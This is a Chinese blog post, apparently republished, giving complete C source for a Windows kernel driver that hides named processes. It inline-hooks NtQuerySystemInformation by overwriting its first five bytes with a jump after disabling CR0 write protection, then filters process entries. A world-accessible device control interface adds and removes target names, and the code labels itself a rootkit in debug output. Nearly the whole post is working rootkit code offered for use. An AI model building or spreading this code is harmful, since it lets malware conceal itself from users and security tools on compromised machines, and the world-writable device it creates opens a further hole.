内核层 inlinehook 隐藏进程

来源:互联网 发布:mysql同时执行多条语句 编辑:程序博客网 时间:2024/06/03 22:46


 上次是SSDT  HOOK 方式 隐藏 进程 ,如链接:http://blog.csdn.net/hjxyshell/article/details/16993119

这次是InlineHook 方式隐藏进程,这里inline hook的原理就不做详细介绍了,网上相关资源较多,撸主主要参考看雪的某大牛的“详谈内核三步走Inline Hook实现”(http://bbs.pediy.com/showthread.php?t=98493

中间有一些关于进程的枚举的处理,上次写了个简单的代码:http://blog.csdn.net/hjxyshell/article/details/17312119


代码如下:


 

#include <ntddk.h>#include <Wdmsec.h>  #include <Wdm.h>  //定义控制码  #define MY_DVC_IN_CODE \(ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN,\0xa02,\METHOD_BUFFERED,\FILE_READ_DATA|FILE_WRITE_DATA)//隐藏进程链表相关变量//存放要隐藏进程的名字链表  typedef struct _ProcNameLink  {      UNICODE_STRING ProcName;      struct _ProcNameLink *pNext;  }ProcNameLink,*pProcNameLink;pProcNameLink pProcNameHeader;  //链表头部  pProcNameLink pProcNameTail;   //链表尾部 //字节型数据  unsigned chartypedef unsigned char BYTE;ULONG  CR0VALUE;                       //设置cr0的读写标识BYTE  OriginalBytes[5]={0};             //保存原始函数前五个字节           BYTE JmpAddress[5]={0xE9,0,0,0,0};       //跳转到HOOK函数的地址//进程线程 信息  结构体struct _SYSTEM_THREADS  {          LARGE_INTEGER           KernelTime;          LARGE_INTEGER           UserTime;          LARGE_INTEGER           CreateTime;          ULONG                           WaitTime;          PVOID                           StartAddress;          CLIENT_ID                       ClientIs;          KPRIORITY                       Priority;          KPRIORITY                       BasePriority;          ULONG                           ContextSwitchCount;          ULONG                           ThreadState;          KWAIT_REASON            WaitReason;  };  //进程信息结构体  struct _SYSTEM_PROCESSES  {          ULONG                           NextEntryDelta;          ULONG                           ThreadCount;          ULONG                           Reserved[6];          LARGE_INTEGER                   CreateTime;          LARGE_INTEGER                   UserTime;          LARGE_INTEGER                   KernelTime;          UNICODE_STRING                  ProcessName;          KPRIORITY                       BasePriority;          ULONG                           ProcessId;          ULONG                           InheritedFromProcessId;          ULONG                           HandleCount;          ULONG                           Reserved2[2];          VM_COUNTERS                     VmCounters;          IO_COUNTERS                     IoCounters; //windows 2000 only          struct _SYSTEM_THREADS          Threads[1];  };  //原函数,获取进程(系统)相关信息NTSYSAPI  NTSTATUS  NTAPI NtQuerySystemInformation(                          IN ULONG SystemInformationClass,                          OUT PVOID SystemInformation,                          IN ULONG SystemInformationLength,                          OUT PULONG ReturnLength                              );NTSTATUSMyNtQuerySystemInformation(IN ULONG SystemInformationClass,OUT PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength);//改变函数前五个字节,使其跳到MyNtQuerySystemInformation函数中void HookNtQuerySystemInformation(//IN ULONG SystemInformationClass,//OUT PVOID SystemInfotmation,//IN ULONOG SystemInformatonLength,//OUT PULONG ReturnLength){//赋值前面的数组KIRQL Irql;DbgPrint("[NtQuerySystemInformation]: 0x%x",NtQuerySystemInformation);//保存原函数前5个字节RtlCopyMemory(OriginalBytes,(BYTE*)NtQuerySystemInformation,5);//保存新函数5个字节自后的偏移*(ULONG*)(JmpAddress + 1) = (ULONG)MyNtQuerySystemInformation - ((ULONG)NtQuerySystemInformation+5);//开始inline hook  即将跳转到新函数指令拷贝到原函数前5个字节//关闭内存写保护__asm{//这里只用到eax,保存eax即可push eaxmov eax,cr0mov CR0VALUE,eaxand eax,0fffeffffhmov cr0,eaxpop eax}//提升IRQL中断级(防止写的过程中出新中断,导致出错)Irql = KeRaiseIrqlToDpcLevel();//开始写函数的前5个字节(jmp 指令)RtlCopyMemory((BYTE*)NtQuerySystemInformation,JmpAddress,5);//恢复IrqlKeLowerIrql(Irql);//开启内存写保护__asm{push eaxmov eax,CR0VALUEmov cr0,eaxpop eax}}//取消inline hookvoid UnHookNtQuerySystemInformation(//IN ULONG SystemInformationClass,//OUT PVOID SystemInfotmation,//IN ULONOG SystemInformatonLength,//OUT PULONG ReturnLength){//把保存的五个字节写回原函数KIRQL Irql;//关闭写保护__asm{push eaxmov eax,cr0mov CR0VALUE,eaxand eax,0fffeffffhmov cr0,eaxpop eax}//提升IRQL 到 DpcIrql = KeRaiseIrqlToDpcLevel();RtlCopyMemory((BYTE*)NtQuerySystemInformation,OriginalBytes,5);KeLowerIrql(Irql);//开启内存写保护__asm{push eaxmov eax,CR0VALUEmov cr0,eaxpop eax}}//原函数_declspec (naked) NTSTATUS OriginalNtQuerySystemInformation(IN ULONG SystemInformationClass,OUT PVOID SystemInfotmation,IN ULONG SystemInformatonLength,OUT PULONG ReturnLength){__asm{//这里的eax不是随便使用个寄存器就行的,因为//随便使用个寄存器很可能会破坏原来的值//因为eax的值在接下来会直接被覆盖(原来的值是什么不重要了),所以这里可以使用push 210hmov eax,NtQuerySystemInformationadd eax,5jmp eax}}//MyNtQuerySystemInformation函数,再此处 进行进程隐藏处理NTSTATUSMyNtQuerySystemInformation(IN ULONG SystemInformationClass,OUT PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength){NTSTATUS ntStatus;pProcNameLink pTempLink;  //进程查询时使用//DbgPrint("it's here!!!\n");//查询系统信息ntStatus = OriginalNtQuerySystemInformation(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);if(NT_SUCCESS(ntStatus)){if(SystemInformationClass == 5){//获取进程信息结构for((pTempLink = pProcNameHeader->pNext)&&(pTempLink != NULL);pTempLink !=NULL;){//每次查看时 ,都从进程的列表开始查看struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;struct _SYSTEM_PROCESSES *prev = NULL;while(curr){if(curr->ProcessName.Buffer != NULL){if(0 == memcmp(curr->ProcessName.Buffer,pTempLink->ProcName.Buffer,16)) //判断是否为要隐藏的进程{//判断眼隐藏的进程在链表的那个位置if(prev) //中间或最后{if(curr->NextEntryDelta)  prev->NextEntryDelta += curr->NextEntryDelta;  else    // 在最后  prev->NextEntryDelta = 0;  }else  {  if(curr->NextEntryDelta)  {  // 要隐藏的进程在第一个  (char *)SystemInformation += curr->NextEntryDelta;  }  else // 只有当前一个进程  SystemInformation = NULL;  }  }}prev = curr;  if(curr->NextEntryDelta)   (char *)curr += curr->NextEntryDelta;  else   curr = NULL;  } pTempLink = pTempLink->pNext;}}}return ntStatus;//return 1;}//向链表汇总加入新的要隐藏的进程  VOID AddProcToLink(PUNICODE_STRING ProcName)  {      //先判断该进程是否已存在,已存在则不添加(不判断也不影响结果)      pProcNameLink pNewLink = (pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink));  //新增节点      (pNewLink->ProcName).Length = 0;      (pNewLink->ProcName).MaximumLength = 256;      (pNewLink->ProcName).Buffer = (PWCHAR)ExAllocatePool(NonPagedPool, 256);  //新增节点            RtlCopyUnicodeString(&(pNewLink->ProcName),ProcName);  //复制      pNewLink->pNext = NULL;      pProcNameTail->pNext = pNewLink;      pProcNameTail = pNewLink;    //链表末尾  }  //移除某个进程  VOID RmProcFromLink(PUNICODE_STRING pProcName)  {      pProcNameLink pNewLink = pProcNameHeader;      if(pProcNameHeader->pNext == NULL)          return;      for( pNewLink;pNewLink->pNext != NULL;)      {          //找到,则从链表中删除          if(RtlCompareUnicodeString(&(pNewLink->pNext->ProcName),pProcName,TRUE)==0)          {              pNewLink->pNext = pNewLink->pNext->pNext;              if(pNewLink->pNext == NULL)  //链表结尾,为指针标识赋值                  pProcNameTail = pNewLink;              break;          }          pNewLink = pNewLink->pNext;  //没有写在for里面是为了方便调试时下断点      }    }  //卸载驱动VOID OnUnload(IN PDRIVER_OBJECT driver)  {      UNICODE_STRING symblink_name;  //c语言定义变量放在前面  DbgPrint("ROOTKIT: OnUnload called\n");     // unhook ZwQuerySystemInformation  UnHookNtQuerySystemInformation();    if(IoIsWdmVersionAvailable(1,0x10))      {          //支持通用版本本,则创建全局符号链接\DosDevices\Global          RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");             }      else      {          //不支持,用\DosDevices          RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");      }      IoDeleteSymbolicLink(&symblink_name );      IoDeleteDevice(driver->DeviceObject);      DbgPrint("our driver is unloading ... \r\n");  }  //分发函数NTSTATUS MyDispatchFunction(PDEVICE_OBJECT device, PIRP irp)  {      CHAR inBuffer[256];      short flag = 1;  //增加链表      ANSI_STRING ansiBuffer;      UNICODE_STRING unicodeBuffer;      int i;      //获得当前IRP调用的栈空间      PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(irp);      NTSTATUS status = STATUS_INVALID_PARAMETER;      memset(inBuffer,0,256);      //处理各种请求      switch(irpsp->MajorFunction)      {          case IRP_MJ_CREATE:          {              //简单返回一个IRP成功三部曲              irp->IoStatus.Information = 0;              irp->IoStatus.Status = STATUS_SUCCESS;              IoCompleteRequest(irp,IO_NO_INCREMENT);              //应用层,打开设备后 打印此字符串,仅为测试              DbgPrint("congratulations gay,open device");              status = irp->IoStatus.Status;              break;          }          case IRP_MJ_CLOSE:          {              irp->IoStatus.Information = 0;              irp->IoStatus.Status = STATUS_SUCCESS;              IoCompleteRequest(irp,IO_NO_INCREMENT);              //应用层,打开设备后 打印此字符串,仅为测试              DbgPrint("congratulations gay,close device");              status = irp->IoStatus.Status;              break;          }          case IRP_MJ_DEVICE_CONTROL:          {              //得到功能号              ULONG code = irpsp->Parameters.DeviceIoControl.IoControlCode;              //得到输入/输出缓冲区的长度              ULONG in_len = irpsp->Parameters.DeviceIoControl.InputBufferLength;              ULONG out_len = irpsp->Parameters.DeviceIoControl.OutputBufferLength;              //输入、输出的缓冲区是公用的内存空间的              PCHAR buffer = (PCHAR)irp->AssociatedIrp.SystemBuffer;              //memcpy(inBuffer,buffer,in_len);              //将短字符转化为宽字符              if(buffer[0] == '-')                  flag = 0;              ansiBuffer.Buffer = buffer+1;              ansiBuffer.Length = ansiBuffer.MaximumLength = (USHORT)(in_len -1);              RtlAnsiStringToUnicodeString(&unicodeBuffer, &ansiBuffer,TRUE);              if(flag)                  AddProcToLink(&unicodeBuffer);   //将要隐藏的进程加入到链表中              else                  RmProcFromLink(&unicodeBuffer);              DbgPrint("%ansiBuffer = %Z\n",&ansiBuffer);    //注意是%Z              DbgPrint("unicodeBuffer = %wZ\n",&unicodeBuffer);              if(code == MY_DVC_IN_CODE)              {                  DbgPrint("in_buffer_len = %d",in_len);                  DbgPrint("%s",buffer);                  //因为不返回信息,直接返回成功即可                  //没有用到输出缓冲区                  irp->IoStatus.Information = 0;                  irp->IoStatus.Status = STATUS_SUCCESS;              }              else              {                  //控制码错误,则不接受请求,直接返回错误                  //注意返回错误和返回成功的区别                  irp->IoStatus.Information = 0;                  irp->IoStatus.Status = STATUS_INVALID_PARAMETER;              }              IoCompleteRequest(irp,IO_NO_INCREMENT);              status = irp->IoStatus.Status;              break;          }          case IRP_MJ_READ:          {              break;          }          default:          {              DbgPrint("unknow request!!!");              break;          }      }           return status;  }  //驱动入口函数NTSTATUS DriverEntry(IN PDRIVER_OBJECT driver,                        IN PUNICODE_STRING reg_path) {ULONG i;      NTSTATUS status;      PDEVICE_OBJECT device;      //设备名      UNICODE_STRING device_name = RTL_CONSTANT_STRING(L"\\Device\\test");      //符号连接名      UNICODE_STRING symblink_name;      //随手写一个GUID      static const GUID MYGUID_CLASS_MYCDO =       { 0x63542127, 0xfbbb, 0x49c8, { 0x8b, 0xf4, 0x8b, 0x7c, 0xb5, 0xef, 0xd3, 0x9e } };  //static const GUID DECLSPEC_SELECTANY MYGUID_CLASS_MYCDO =   //{ 0x8524767, 0x32fe, 0x4d86, { 0x9f, 0x48, 0xa0, 0x26, 0x94, 0xec, 0x71, 0x42 } };           //全用户可读权限、写权限      UNICODE_STRING sdd1=RTL_CONSTANT_STRING(L"D:P(A;;GA;;;WD)");      //初始化第一个结构体      pProcNameHeader =(pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink));      pProcNameHeader->pNext = NULL;      pProcNameTail = pProcNameHeader;      //RtlInitUnicodeString(&(pProcNameHeader->ProcName),L"");      //_asm int 3      //生成设备      status = IoCreateDeviceSecure(                              driver,                              0,                              &device_name,                              FILE_DEVICE_UNKNOWN,                              FILE_DEVICE_SECURE_OPEN,                              FALSE,                              &sdd1,                              (LPCGUID)&MYGUID_CLASS_MYCDO,                              &device                              );      if(!NT_SUCCESS(status))      {          DbgPrint("IoCreateDeviceSecure failed ");          return status;      }      DbgPrint("good job1");      //创建符号链接      if(IoIsWdmVersionAvailable(1,0x10))      {          //支持通用版本本,则创建全局符号链接\DosDevices\Global          RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");             }      else      {          //不支持,用\DosDevices          RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");      }      status = IoCreateSymbolicLink(&symblink_name,&device_name);      if(!NT_SUCCESS(status))      {          DbgPrint("IoCreateSymbolicLink failed");          return status;      }      DbgPrint("good job2");      //初始化驱动处理      for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)      {          driver->MajorFunction[i] = MyDispatchFunction;      }     // save old system call locations     //OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));       // Register a dispatch function for Unload      driver->DriverUnload  = OnUnload;              // inline hook       HookNtQuerySystemInformation();                                   return STATUS_SUCCESS;    }
说明:

    _declspec (naked) NTSTATUS OriginalNtQuerySystemInformation  函数中的寄存器不是随便使用的,正如代码中注释所述一样,这里使用eax,因为eax的值会被直接覆盖,对后续程序并无影响

如图:

 

驱动安装运行后,在查看函数NtQuerySystemInformation,已经被我们掌控


0 0
原创粉丝点击